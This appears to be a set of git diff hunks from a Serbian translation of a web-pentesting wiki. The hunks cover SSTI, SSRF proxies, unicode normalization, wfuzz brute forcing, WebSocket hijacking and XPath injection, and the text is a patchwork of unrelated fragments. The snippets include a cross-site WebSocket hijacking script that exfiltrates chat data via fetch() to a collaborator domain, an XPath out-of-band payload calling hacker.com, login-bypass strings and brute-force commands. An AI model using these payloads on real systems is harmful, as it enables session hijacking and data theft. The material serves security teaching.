Ako uspete da dobijete pristup bilo kojoj **funkciji** iz tih globalnih objekata, moći ćete da pristupite **`__globals__.__builtins__`** i odatle je **RCE** veoma **jednostavan**.
Ako uspete da dođete do bilo koje **funkcije** iz tih globalnih objekata, moći ćete da pristupite **`__globals__.__builtins__`** i odatle je **RCE** veoma **jednostavan**.
Možete **pronaći funkcije** iz objekata **`request`**, **`config`** i bilo kog **drugog** interesantnog **globalnog objekta** kojem imate pristup sa:
```bash

View File

@ -24,13 +24,13 @@ Nešto što treba da zapamtite kada izvodite ovakve napade je da zbog skrivene p
### Pogrešne konfiguracije reverznih proksija
U istom istraživanju, podeljeno je da je tehnika vremena bila odlična za otkrivanje "scoped SSRFs" (koji su SSRFs koji mogu pristupiti samo dozvoljenim IP/adresama). Jednostavno **proverom vremenske razlike kada je postavljena dozvoljena domena** u odnosu na kada je postavljena nedozvoljena domena pomaže u otkrivanju otvorenih proksija čak i ako je odgovor isti.
U istom istraživanju, podeljeno je da je tehnika vremena bila odlična za otkrivanje "scoped SSRFs" (koji su SSRFs koji mogu pristupiti samo dozvoljenim IP/domenima). Jednostavno **proverom vremenske razlike kada je postavljen dozvoljeni domen** u poređenju sa kada je postavljen nedozvoljeni domen pomaže u otkrivanju otvorenih proksija čak i ako je odgovor isti.
Kada se otkrije scoped otvoreni proksi, bilo je moguće pronaći validne ciljeve parsiranjem poznatih poddomena cilja, što je omogućilo:
Kada se otkrije scoped otvoreni proksi, bilo je moguće pronaći validne ciljeve parsiranjem poznatih poddomena cilja i to je omogućilo:
- **Obilaženje vatrozida** pristupanjem ograničenim poddomenama putem **otvorenog proksija** umesto preko interneta
- **Obilaženje vatrozida** pristupanjem ograničenim poddomenima putem **otvorenog proksija** umesto preko interneta
- Štaviše, zloupotrebom **otvorenog proksija** takođe je moguće **otkriti nove poddomene dostupne samo interno.**
- **Napadi na imitaciju front-end-a**: Front-end serveri obično dodaju zaglavlja za backend kao što su `X-Forwarded-For` ili `X-Real-IP`. Otvoreni proksiji koji primaju ova zaglavlja će ih dodati traženom kraju, stoga bi napadač mogao da pristupi još više internih domena dodavanjem ovih zaglavlja sa belih lista.
- **Napadi na imitaciju front-end-a**: Front-end serveri obično dodaju zaglavlja za backend kao što su `X-Forwarded-For` ili `X-Real-IP`. Otvoreni proksiji koji primaju ova zaglavlja će ih dodati traženom kraju, stoga, napadač bi mogao da pristupi još više internih domena dodavanjem ovih zaglavlja sa dozvoljenim vrednostima.
## Reference

View File

@ -42,7 +42,7 @@ $str = iconv("UTF-8", "ASCII//TRANSLIT", $str);
echo "String: " . $str;
```
Emoji liste:
Lista emojija:
- [https://github.com/iorch/jakaton_feminicidios/blob/master/data/emojis.csv](https://github.com/iorch/jakaton_feminicidios/blob/master/data/emojis.csv)
- [https://unicode.org/emoji/charts-14.0/full-emoji-list.html](https://unicode.org/emoji/charts-14.0/full-emoji-list.html)

View File

@ -8,16 +8,16 @@
Normalizacija Unikoda je proces koji osigurava da su različite binarne reprezentacije karaktera standardizovane na istu binarnu vrednost. Ovaj proces je ključan u radu sa stringovima u programiranju i obradi podataka. Unikod standard definiše dva tipa ekvivalencije karaktera:
1. **Kanonicka Ekvivalencija**: Karakteri se smatraju kanonički ekvivalentnim ako imaju isti izgled i značenje kada se odštampaju ili prikažu.
1. **Kanonska Ekvivalencija**: Karakteri se smatraju kanonski ekvivalentnim ako imaju isti izgled i značenje kada se odštampaju ili prikažu.
2. **Ekvivalencija Kompatibilnosti**: Slabija forma ekvivalencije gde karakteri mogu predstavljati isti apstraktni karakter, ali se mogu prikazivati drugačije.
Postoje **četiri algoritma normalizacije Unikoda**: NFC, NFD, NFKC i NFKD. Svaki algoritam koristi kanonke i tehnike normalizacije kompatibilnosti na različite načine. Za dublje razumevanje, možete istražiti ove tehnike na [Unicode.org](https://unicode.org/).
Postoje **četiri algoritma normalizacije Unikoda**: NFC, NFD, NFKC i NFKD. Svaki algoritam koristi kanonske i tehnike normalizacije kompatibilnosti na različite načine. Za dublje razumevanje, možete istražiti ove tehnike na [Unicode.org](https://unicode.org/).
### Ključne Tačke o Kodiranju Unikoda
Razumevanje kodiranja Unikoda je ključno, posebno kada se radi o problemima interoperabilnosti među različitim sistemima ili jezicima. Evo glavnih tačaka:
- **Kodni Poeni i Karakteri**: U Unikodu, svaki karakter ili simbol je dodeljen numeričku vrednost poznatu kao "kodni poen".
- **Kodni Poeni i Karakteri**: U Unikodu, svaki karakter ili simbol je dodeljen numeričkoj vrednosti poznatoj kao "kodni poen".
- **Reprezentacija Bajtova**: Kodni poen (ili karakter) se predstavlja jednim ili više bajtova u memoriji. Na primer, LATIN-1 karakteri (uobičajeni u zemljama gde se govori engleski) predstavljaju se koristeći jedan bajt. Međutim, jezici sa većim skupom karaktera zahtevaju više bajtova za reprezentaciju.
- **Kodiranje**: Ovaj termin se odnosi na to kako se karakteri transformišu u niz bajtova. UTF-8 je prevalentni standard kodiranja gde se ASCII karakteri predstavljaju koristeći jedan bajt, a do četiri bajta za druge karaktere.
- **Obrada Podataka**: Sistemi koji obrađuju podatke moraju biti svesni kodiranja koje se koristi da bi ispravno konvertovali bajt tok u karaktere.
@ -83,7 +83,7 @@ Možete koristiti jedan od sledećih karaktera da prevarite web aplikaciju i isk
![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (312) (2).png>)
Primetite da se, na primer, prvi Unicode karakter može poslati kao: `%e2%89%ae` ili kao `%u226e`
Primetite da se, na primer, prvi predloženi Unicode karakter može poslati kao: `%e2%89%ae` ili kao `%u226e`
![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (215) (1) (1).png>)

View File

@ -84,7 +84,7 @@ wfuzz -c -w users.txt -w pass.txt -p 127.0.0.1:8080:HTTP --ss "Welcome" --ntlm '
```
### Cookie/Header bruteforce (vhost brute)
#### **Kolačići, kod filtriranja (prikaži), proxy**
#### **Kolačić, kod filtriranja (prikaži), proxy**
```bash
wfuzz -c -w users.txt -p 127.0.0.1:8080:HTTP --ss "Welcome " -H "Cookie:id=1312321&user=FUZZ" "http://example.com/index.php"
```
@ -113,7 +113,7 @@ $ wfuzz -z list,GET-HEAD-POST-TRACE-OPTIONS -X FUZZ http://testphp.vulnweb.com/
#Filter by whitelisting codes
wfuzz -c -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --sc 200,202,204,301,302,307,403 http://example.com/uploads/FUZZ
```
## Alat za zaobilaženje veba
## Alat za zaobilaženje Web-a
[https://github.com/carlospolop/fuzzhttpbypass](https://github.com/carlospolop/fuzzhttpbypass)

View File

@ -1,4 +1,4 @@
# Metodologija web ranjivosti
# Metodologija Web Ranljivosti
{{#include ../banners/hacktricks-training.md}}
@ -7,7 +7,7 @@ U svakom Web Pentestu, postoji **several hidden and obvious places that might be
## Proksi
> [!NOTE]
> Danas **web** **aplikacije** obično **koriste** neku vrstu **posredničkih** **proksija**, koje se mogu (zlo)upotrebljavati za eksploataciju ranjivosti. Ove ranjivosti zahtevaju da postoji ranjivi proksi, ali obično takođe zahtevaju neku dodatnu ranjivost u pozadini.
> Danas **web** **aplikacije** obično **koriste** neku vrstu **posredničkih** **proksija**, koje se mogu (zlo)upotrebljavati za eksploataciju ranjivosti. Ove ranjivosti zahtevaju da ranjivi proksi bude prisutan, ali obično takođe zahtevaju neku dodatnu ranjivost u pozadini.
- [ ] [**Zloupotreba hop-by-hop zaglavlja**](abusing-hop-by-hop-headers.md)
- [ ] [**Trovanje kešom/Obmanjivanje keša**](cache-deception/)
@ -16,7 +16,7 @@ U svakom Web Pentestu, postoji **several hidden and obvious places that might be
- [ ] [**Uključivanje sa servera/Uključivanje sa ivice**](server-side-inclusion-edge-side-inclusion-injection.md)
- [ ] [**Otkrivanje Cloudflare-a**](../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)
- [ ] [**XSLT Uključivanje sa servera**](xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
- [ ] [**Obilaženje zaštita proksija/WAF-a**](proxy-waf-protections-bypass.md)
- [ ] [**Obilaženje zaštita Proxy / WAF**](proxy-waf-protections-bypass.md)
## **Korisnički unos**
@ -44,7 +44,7 @@ Ako se uneti podaci mogu na neki način odraziti u odgovoru, stranica može biti
- [ ] [**XSSI**](xssi-cross-site-script-inclusion.md)
- [ ] [**XS-Search**](xs-search/)
Neke od pomenutih ranjivosti zahtevaju posebne uslove, dok druge samo zahtevaju da se sadržaj odražava. Možete pronaći neke zanimljive poliglotove za brzo testiranje ranjivosti u:
Neke od pomenutih ranjivosti zahtevaju posebne uslove, dok druge samo zahtevaju da se sadržaj odrazi. Možete pronaći neke zanimljive poliglotove za brzo testiranje ranjivosti u:
{{#ref}}
pocs-and-polygloths-cheatsheet/
@ -61,9 +61,9 @@ Ako se funkcionalnost može koristiti za pretragu nekih podataka unutar pozadine
- [ ] [**SQL Uključivanje**](sql-injection/)
- [ ] [**XPATH Uključivanje**](xpath-injection.md)
### **Obrasci, WebSocket-i i PostMsgs**
### **Obrasci, WebSockets i PostMsgs**
Kada WebSocket pošalje poruku ili obrazac koji omogućava korisnicima da izvrše radnje, mogu se pojaviti ranjivosti.
Kada websocket pošalje poruku ili obrazac koji omogućava korisnicima da izvrše radnje, mogu se pojaviti ranjivosti.
- [ ] [**Cross Site Request Forgery**](csrf-cross-site-request-forgery.md)
- [ ] [**Hacking WebSocket-a (CSWSH)**](websocket-attacks.md)
@ -99,7 +99,7 @@ Neke **specifične funkcionalnosti** takođe mogu biti ranjive ako se koristi **
- [ ] [**Deserializacija**](deserialization/)
- [ ] [**Injekcija zaglavlja e-pošte**](email-injections.md)
- [ ] [**JWT Ranjivosti**](hacking-jwt-json-web-tokens.md)
- [ ] [**XML Eksterna Entiteta**](xxe-xee-xml-external-entity.md)
- [ ] [**XML Spoljna Entiteta**](xxe-xee-xml-external-entity.md)
### Datoteke
@ -115,7 +115,7 @@ Korisnici koji otvaraju datoteke koje su učitali korisnici ili automatski gener
### **Upravljanje spoljnim identitetom**
- [ ] [**OAUTH do preuzimanja naloga**](oauth-to-account-takeover.md)
- [ ] [**SAML napadi**](saml-attacks/)
- [ ] [**SAML Napadi**](saml-attacks/)
### **Druge korisne ranjivosti**

View File

@ -16,7 +16,7 @@ U svakom Web Pentestu, postoji **several hidden and obvious places that might be
- [ ] [**Uključivanje sa servera/Uključivanje sa ivice**](../server-side-inclusion-edge-side-inclusion-injection.md)
- [ ] [**Otkrivanje Cloudflare-a**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)
- [ ] [**XSLT Uključivanje sa servera**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
- [ ] [**Obilaženje zaštita proksija/WAF-a**](../proxy-waf-protections-bypass.md)
- [ ] [**Obilaženje zaštita proksi / WAF**](../proxy-waf-protections-bypass.md)
## **Korisnički unos**
@ -24,20 +24,20 @@ U svakom Web Pentestu, postoji **several hidden and obvious places that might be
> Većina web aplikacija će **dozvoliti korisnicima da unesu neke podatke koji će kasnije biti obrađeni.**\
> U zavisnosti od strukture podataka koje server očekuje, neke ranjivosti mogu ili ne moraju da se primene.
### **Reflektovane vrednosti**
### **Reflektovani vrednosti**
Ako se uneti podaci mogu na neki način odraziti u odgovoru, stranica može biti ranjiva na nekoliko problema.
- [ ] [**Uključivanje šablona sa klijentske strane**](../client-side-template-injection-csti.md)
- [ ] [**Uključivanje komandi**](../command-injection.md)
- [ ] [**Zloupotreba šablona na klijentskoj strani**](../client-side-template-injection-csti.md)
- [ ] [**Zloupotreba komandi**](../command-injection.md)
- [ ] [**CRLF**](../crlf-0d-0a.md)
- [ ] [**Viseći markup**](../dangling-markup-html-scriptless-injection/)
- [ ] [**Uključivanje datoteka/Prelazak putanje**](../file-inclusion/)
- [ ] [**Otvorena preusmeravanja**](../open-redirect.md)
- [ ] [**Zagađenje prototipa do XSS**](../deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)
- [ ] [**Uključivanje sa servera/Uključivanje sa ivice**](../server-side-inclusion-edge-side-inclusion-injection.md)
- [ ] [**Uključivanje zahteva sa servera**](../ssrf-server-side-request-forgery/)
- [ ] [**Uključivanje šablona sa servera**](../ssti-server-side-template-injection/)
- [ ] [**Zloupotreba zahteva sa servera**](../ssrf-server-side-request-forgery/)
- [ ] [**Zloupotreba šablona na serveru**](../ssti-server-side-template-injection/)
- [ ] [**Obrnuto preuzimanje taba**](../reverse-tab-nabbing.md)
- [ ] [**XSLT Uključivanje sa servera**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
- [ ] [**XSS**](../xss-cross-site-scripting/)
@ -52,22 +52,22 @@ Neke od pomenutih ranjivosti zahtevaju posebne uslove, dok druge samo zahtevaju
### **Funkcionalnosti pretrage**
Ako se funkcionalnost može koristiti za pretraživanje nekih podataka unutar pozadine, možda je možete (zlo)upotrebiti za pretraživanje proizvoljnih podataka.
Ako se funkcionalnost može koristiti za pretraživanje nekih podataka unutar pozadine, možda je možete (zlo)upotrebljavati za pretraživanje proizvoljnih podataka.
- [ ] [**Uključivanje datoteka/Prelazak putanje**](../file-inclusion/)
- [ ] [**NoSQL Uključivanje**](../nosql-injection.md)
- [ ] [**LDAP Uključivanje**](../ldap-injection.md)
- [ ] [**NoSQL Zloupotreba**](../nosql-injection.md)
- [ ] [**LDAP Zloupotreba**](../ldap-injection.md)
- [ ] [**ReDoS**](../regular-expression-denial-of-service-redos.md)
- [ ] [**SQL Uključivanje**](../sql-injection/)
- [ ] [**XPATH Uključivanje**](../xpath-injection.md)
- [ ] [**SQL Zloupotreba**](../sql-injection/)
- [ ] [**XPATH Zloupotreba**](../xpath-injection.md)
### **Obrasci, WebSocket-i i PostMsgs**
### **Obrasci, WebSockets i PostMsgs**
Kada WebSocket pošalje poruku ili obrazac koji omogućava korisnicima da izvrše radnje, mogu se pojaviti ranjivosti.
Kada websocket pošalje poruku ili obrazac koji omogućava korisnicima da izvrše radnje, mogu se pojaviti ranjivosti.
- [ ] [**Cross Site Request Forgery**](../csrf-cross-site-request-forgery.md)
- [ ] [**Hacking WebSocket-a (CSWSH)**](../websocket-attacks.md)
- [ ] [**PostMessage Ranjivosti**](../postmessage-vulnerabilities/)
- [ ] [**Zloupotreba zahteva između sajtova**](../csrf-cross-site-request-forgery.md)
- [ ] [**Zloupotreba WebSocket-a između sajtova (CSWSH)**](../websocket-attacks.md)
- [ ] [**Ranjivosti PostMessage**](../postmessage-vulnerabilities/)
### **HTTP Zaglavlja**
@ -86,7 +86,7 @@ Postoji nekoliko specifičnih funkcionalnosti gde bi neka rešenja mogla biti ko
- [ ] [**Obilaženje procesa plaćanja**](../bypass-payment-process.md)
- [ ] [**Obilaženje Captche**](../captcha-bypass.md)
- [ ] [**Obilaženje prijave**](../login-bypass/)
- [ ] [**Uslovni trka**](../race-condition.md)
- [ ] [**Trka stanja**](../race-condition.md)
- [ ] [**Obilaženje ograničenja brzine**](../rate-limit-bypass.md)
- [ ] [**Obilaženje resetovanja zaboravljene lozinke**](../reset-password.md)
- [ ] [**Ranjivosti registracije**](../registration-vulnerabilities.md)
@ -96,10 +96,10 @@ Postoji nekoliko specifičnih funkcionalnosti gde bi neka rešenja mogla biti ko
Neke funkcionalnosti će zahtevati da **podaci budu strukturirani u vrlo specifičnom formatu** (kao što je jezik serijalizovanog objekta ili XML). Stoga, lakše je identifikovati da li aplikacija može biti ranjiva jer mora obraditi tu vrstu podataka.\
Neke **specifične funkcionalnosti** takođe mogu biti ranjive ako se koristi **specifičan format unosa** (kao što su injekcije zaglavlja e-pošte).
- [ ] [**Deserijalizacija**](../deserialization/)
- [ ] [**Deserializacija**](../deserialization/)
- [ ] [**Injekcija zaglavlja e-pošte**](../email-injections.md)
- [ ] [**JWT Ranjivosti**](../hacking-jwt-json-web-tokens.md)
- [ ] [**XML Spoljnja Entiteta**](../xxe-xee-xml-external-entity.md)
- [ ] [**XML Spoljna Entiteta**](../xxe-xee-xml-external-entity.md)
### Datoteke

View File

@ -4,7 +4,7 @@
## Šta su WebSocketi
WebSocket veze se uspostavljaju kroz inicijalni **HTTP** handshake i dizajnirane su da budu **dugoročne**, omogućavajući dvosmerno slanje poruka u bilo kojem trenutku bez potrebe za transakcionim sistemom. Ovo čini WebSocket-e posebno korisnim za aplikacije koje zahtevaju **nisku latenciju ili komunikaciju iniciranu sa servera**, kao što su strimovi uživo finansijskih podataka.
WebSocket veze se uspostavljaju kroz inicijalni **HTTP** rukovanje i dizajnirane su da budu **dugoročne**, omogućavajući dvosmerno slanje poruka u bilo kojem trenutku bez potrebe za transakcionim sistemom. Ovo čini WebSocket-e posebno korisnim za aplikacije koje zahtevaju **nisku latenciju ili komunikaciju iniciranu sa servera**, kao što su strimovi uživo finansijskih podataka.
### Uspostavljanje WebSocket veza
@ -71,24 +71,24 @@ Možete koristiti **alat** [**https://github.com/PalindromeLabs/STEWS**](https:/
- [**socketsleuth**](https://github.com/snyk/socketsleuth) **Burp Suite ekstenzija** će vam omogućiti bolje upravljanje Websocket komunikacijama u Burp-u dobijanjem **istorije**, postavljanjem **pravila za presretanje**, korišćenjem **pravila za podudaranje i zamenu**, korišćenjem **Intruder** i **AutoRepeater.**
- [**WSSiP**](https://github.com/nccgroup/wssip)**:** Skraćeno od "**WebSocket/Socket.io Proxy**", ovaj alat, napisan u Node.js, pruža korisnički interfejs za **hvatanje, presretanje, slanje prilagođenih** poruka i pregled svih WebSocket i Socket.IO komunikacija između klijenta i servera.
- [**wsrepl**](https://github.com/doyensec/wsrepl) je **interaktivni websocket REPL** dizajniran posebno za penetraciono testiranje. Pruža interfejs za posmatranje **dolaznih websocket poruka i slanje novih**, sa jednostavnim okvirom za **automatizaciju** ove komunikacije.&#x20;
- [**https://websocketking.com/**](https://websocketking.com/) je **vеб за комуникацију** sa drugim веб-овима koristeći **websockets**.
- [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) između ostalih tipova komunikacija/protokola, pruža **vеб за комуникацију** sa drugim веб-овима koristeći **websockets.**
- [**https://websocketking.com/**](https://websocketking.com/) je **web za komunikaciju** sa drugim webovima koristeći **websockets**.
- [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) između ostalih tipova komunikacija/protokola, pruža **web za komunikaciju** sa drugim webovima koristeći **websockets.**
## Websocket Lab
U [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) imate kod za pokretanje veba koristeći websockets, a u [**ovom postu**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) možete pronaći objašnjenje.
U [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) imate kod za pokretanje weba koristeći websockets, a u [**ovom postu**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) možete pronaći objašnjenje.
## Cross-site WebSocket hijacking (CSWSH)
## Cross-site WebSocket otmica (CSWSH)
**Cross-site WebSocket hijacking**, takođe poznat kao **cross-origin WebSocket hijacking**, identifikovan je kao specifičan slučaj **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)** koji utiče na WebSocket rukovanja. Ova ranjivost se javlja kada WebSocket rukovanja autentifikuju isključivo putem **HTTP kolačića** bez **CSRF tokena** ili sličnih bezbednosnih mera.
**Cross-site WebSocket otmica**, takođe poznata kao **cross-origin WebSocket otmica**, identifikovana je kao specifičan slučaj **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)** koji utiče na WebSocket rukovanja. Ova ranjivost se javlja kada WebSocket rukovanja autentifikuju isključivo putem **HTTP kolačića** bez **CSRF tokena** ili sličnih bezbednosnih mera.
Napadači mogu iskoristiti ovo tako što će hostovati **zloćudnu veb stranicu** koja inicira cross-site WebSocket vezu sa ranjivom aplikacijom. Kao rezultat, ova veza se tretira kao deo sesije žrtve sa aplikacijom, iskorišćavajući nedostatak CSRF zaštite u mehanizmu upravljanja sesijama.
Napadači mogu iskoristiti ovo tako što će hostovati **zloćudnu web stranicu** koja inicira cross-site WebSocket vezu sa ranjivom aplikacijom. Kao rezultat, ova veza se tretira kao deo sesije žrtve sa aplikacijom, iskorišćavajući nedostatak CSRF zaštite u mehanizmu upravljanja sesijama.
### Jednostavan napad
Imajte na umu da kada **uspostavljate** **websocket** vezu, **kolačić** se **šalje** serveru. **Server** može koristiti to da **poveže** svakog **specifičnog** **korisnika** sa njegovom **websocket** **sesijom na osnovu poslatog kolačića**.
Zatim, ako na **primer** **websocket** **server** **pošalje istoriju razgovora** korisnika ako se pošalje poruka sa "**READY"**, tada će **jednostavan XSS** koji uspostavlja vezu (**kolačić** će biti **poslat** **automatski** da autorizuje korisnika žrtvu) **slanjem** "**READY**" moći da **pribavi** istoriju **razgovora**.
Zatim, ako na **primer** **websocket** **server** **vrati istoriju razgovora** korisnika ako se pošalje poruka sa "**READY"**, tada će **jednostavan XSS** koji uspostavlja vezu (**kolačić** će biti **poslat** **automatski** da autorizuje korisnika žrtvu) **slanjem** "**READY**" moći da **dobije** istoriju **razgovora**.
```markup
<script>
websocket = new WebSocket('wss://your-websocket-URL')
@ -105,11 +105,11 @@ fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
```
### Cross Origin + Cookie sa različitim poddomenom
U ovom blog postu [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) napadač je uspeo da **izvrši proizvoljni Javascript u poddomeni** domena gde je komunikacija putem web socket-a bila u toku. Pošto je to bila **poddomena**, **kolačić** je bio **poslat**, a pošto **Websocket nije pravilno proveravao Origin**, bilo je moguće komunicirati s njom i **ukrasti tokene iz nje**.
U ovom blog postu [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) napadač je uspeo da **izvrši proizvoljni Javascript u poddomeni** domena gde je komunikacija putem web socket-a bila u toku. Pošto je to bila **poddomena**, **kolačić** je bio **poslat**, a pošto **Websocket nije pravilno proveravao Origin**, bilo je moguće komunicirati s njom i **ukrasti tokene**.
### Krađa podataka od korisnika
Kopirajte web aplikaciju koju želite da imitirate (npr. .html fajlove) i unutar skripte gde se odvija komunikacija putem websocket-a dodajte ovaj kod:
Kopirajte web aplikaciju koju želite da imitirate (npr. .html datoteke) i unutar skripte gde se odvija komunikacija putem websocket-a dodajte ovaj kod:
```javascript
//This is the script tag to load the websocket hooker
;<script src="wsHook.js"></script>

View File

@ -19,27 +19,27 @@ Izrazi se koriste za odabir različitih čvorova u XML dokumentu. Ovi izrazi i n
### XPath primeri
Primeri putanji izraza i njihovih rezultata uključuju:
Primeri putanjskih izraza i njihovih rezultata uključuju:
- **bookstore**: Svi čvorovi nazvani "bookstore" se biraju.
- **/bookstore**: Korenski element bookstore se bira. Napominje se da apsolutna putanja do elementa počinje sa kosom crtom (/).
- **bookstore/book**: Svi book elementi koji su deca bookstore se biraju.
- **//book**: Svi book elementi u dokumentu se biraju, bez obzira na njihovu lokaciju.
- **bookstore//book**: Svi book elementi koji su potomci elementa bookstore se biraju, bez obzira na njihovu poziciju pod elementom bookstore.
- **bookstore/book**: Svi elementi knjiga koji su deca bookstore se biraju.
- **//book**: Svi elementi knjiga u dokumentu se biraju, bez obzira na njihovu lokaciju.
- **bookstore//book**: Svi elementi knjiga koji su potomci elementa bookstore se biraju, bez obzira na njihovu poziciju pod elementom bookstore.
- **//@lang**: Svi atributi nazvani lang se biraju.
### Korišćenje predikata
Predikati se koriste za preciziranje odabira:
- **/bookstore/book\[1]**: Prvi book element kao dete elementa bookstore se bira. Rešenje za IE verzije 5 do 9, koje indeksiraju prvi čvor kao \[0], je postavljanje SelectionLanguage na XPath putem JavaScript-a.
- **/bookstore/book\[last()]**: Poslednji book element kao dete elementa bookstore se bira.
- **/bookstore/book\[last()-1]**: Pretposlednji book element kao dete elementa bookstore se bira.
- **/bookstore/book\[position()<3]**: Prva dva book elementa kao deca elementa bookstore se biraju.
- **//title\[@lang]**: Svi title elementi sa lang atributom se biraju.
- **//title\[@lang='en']**: Svi title elementi sa vrednošću atributa "lang" koja je "en" se biraju.
- **/bookstore/book\[price>35.00]**: Svi book elementi iz bookstore sa cenom većom od 35.00 se biraju.
- **/bookstore/book\[price>35.00]/title**: Svi title elementi book elemenata iz bookstore sa cenom većom od 35.00 se biraju.
- **/bookstore/book\[1]**: Prvi element knjige dete elementa bookstore se bira. Rešenje za IE verzije 5 do 9, koje indeksiraju prvi čvor kao \[0], je postavljanje SelectionLanguage na XPath putem JavaScript-a.
- **/bookstore/book\[last()]**: Poslednji element knjige dete elementa bookstore se bira.
- **/bookstore/book\[last()-1]**: Pretposlednji element knjige dete elementa bookstore se bira.
- **/bookstore/book\[position()<3]**: Prva dva elementa knjiga deca elementa bookstore se biraju.
- **//title\[@lang]**: Svi elementi naslova sa atributom lang se biraju.
- **//title\[@lang='en']**: Svi elementi naslova sa vrednošću atributa "lang" koja je "en" se biraju.
- **/bookstore/book\[price>35.00]**: Svi elementi knjiga iz bookstore sa cenom većom od 35.00 se biraju.
- **/bookstore/book\[price>35.00]/title**: Svi elementi naslova elemenata knjiga iz bookstore sa cenom većom od 35.00 se biraju.
### Rukovanje nepoznatim čvorovima
@ -51,9 +51,9 @@ Zvezdice se koriste za usklađivanje nepoznatih čvorova:
Dalji primeri uključuju:
- **/bookstore/\***: Biraju se svi čvorovi elementa kao deca elementa bookstore.
- **/bookstore/\***: Biraju se svi čvorovi elementa dece elementa bookstore.
- **//\***: Biraju se svi elementi u dokumentu.
- **//title\[@\*]**: Biraju se svi title elementi sa najmanje jednim atributom bilo koje vrste.
- **//title\[@\*]**: Biraju se svi elementi naslova sa najmanje jednim atributom bilo koje vrste.
## Primer
```xml
@ -145,7 +145,7 @@ doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]
string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';
```
### **OR zaobilaženje u korisničkom imenu i lozinki (ista vrednost u oba)**
### **OR zaobići u korisničkom imenu i lozinki (ista vrednost u oba)**
```
' or '1'='1
" or "1"="1

View File

@ -9,10 +9,10 @@ XS-Search je metoda koja se koristi za **izvlačenje informacija sa različitih
Ključne komponente uključene u ovaj napad su:
- **Ranjivi Web**: Ciljna veb stranica sa koje se informacije žele izvući.
- **Napadačev Web**: Zlonamerna veb stranica koju je kreirao napadač, koju žrtva posećuje, a koja sadrži eksploataciju.
- **Napadačev Web**: Zloćudna veb stranica koju je kreirao napadač, koju žrtva posećuje, a koja sadrži eksploataciju.
- **Metod Uključivanja**: Tehnika koja se koristi za uključivanje Ranjivog Web-a u Napadačev Web (npr., window.open, iframe, fetch, HTML tag sa href, itd.).
- **Tehnika Curjenja**: Tehnike koje se koriste za uočavanje razlika u stanju Ranjivog Web-a na osnovu informacija prikupljenih putem metode uključivanja.
- **Stanja**: Dva moguća stanja Ranjivog Web-a koja napadač želi da razlikuje.
- **Stanja**: Dva potencijalna stanja Ranjivog Web-a koja napadač želi da razlikuje.
- **Uočljive Razlike**: Opservabilne varijacije na koje se napadač oslanja da bi zaključio stanje Ranjivog Web-a.
### Uočljive Razlike
@ -29,8 +29,8 @@ Nekoliko aspekata može se analizirati kako bi se razlikovala stanja Ranjivog We
### Metodi Uključivanja
- **HTML Elementi**: HTML nudi različite elemente za **uključivanje resursa sa različitih domena**, kao što su stilovi, slike ili skripte, primoravajući pregledač da zatraži ne-HTML resurs. Kompilacija potencijalnih HTML elemenata za ovu svrhu može se naći na [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks).
- **Okviri**: Elementi kao što su **iframe**, **object** i **embed** mogu direktno ugraditi HTML resurse u napadačevu stranicu. Ako stranica **nema zaštitu od uokvirivanja**, JavaScript može pristupiti objektu prozora uokvirenog resursa putem svojstva contentWindow.
- **Iskočne prozore**: Metod **`window.open`** otvara resurs u novoj kartici ili prozoru, pružajući **handle prozora** za JavaScript da komunicira sa metodama i svojstvima prema SOP-u. Iskočni prozori, često korišćeni u jedinstvenom prijavljivanju, zaobilaze zaštitu od uokvirivanja i ograničenja kolačića ciljanog resursa. Međutim, moderni pregledači ograničavaju kreiranje iskočnih prozora na određene korisničke akcije.
- **Okviri**: Elementi kao što su **iframe**, **object** i **embed** mogu direktno ugraditi HTML resurse u napadačevu stranicu. Ako stranica **nema zaštitu od uokvirivanja**, JavaScript može pristupiti objektu prozora u okviru putem svojstva contentWindow.
- **Iskočne prozore**: Metod **`window.open`** otvara resurs u novoj kartici ili prozoru, pružajući **handle prozora** za JavaScript da komunicira sa metodama i svojstvima prema SOP-u. Iskočni prozori, često korišćeni u jedinstvenom prijavljivanju, zaobilaze ograničenja uokvirivanja i kolačića ciljanog resursa. Međutim, moderni pregledači ograničavaju kreiranje iskočnih prozora na određene korisničke akcije.
- **JavaScript Zahtevi**: JavaScript omogućava direktne zahteve ka ciljnim resursima koristeći **XMLHttpRequests** ili **Fetch API**. Ove metode nude preciznu kontrolu nad zahtevom, kao što je opcija da se prati HTTP preusmeravanje.
### Tehnike Curjenja
@ -66,16 +66,16 @@ Za više informacija: [https://xsleaks.dev/docs/attacks/timing-attacks/clocks](h
- **Metodi Uključivanja**: Okviri, HTML Elementi
- **Uočljiva Razlika**: Status Kod
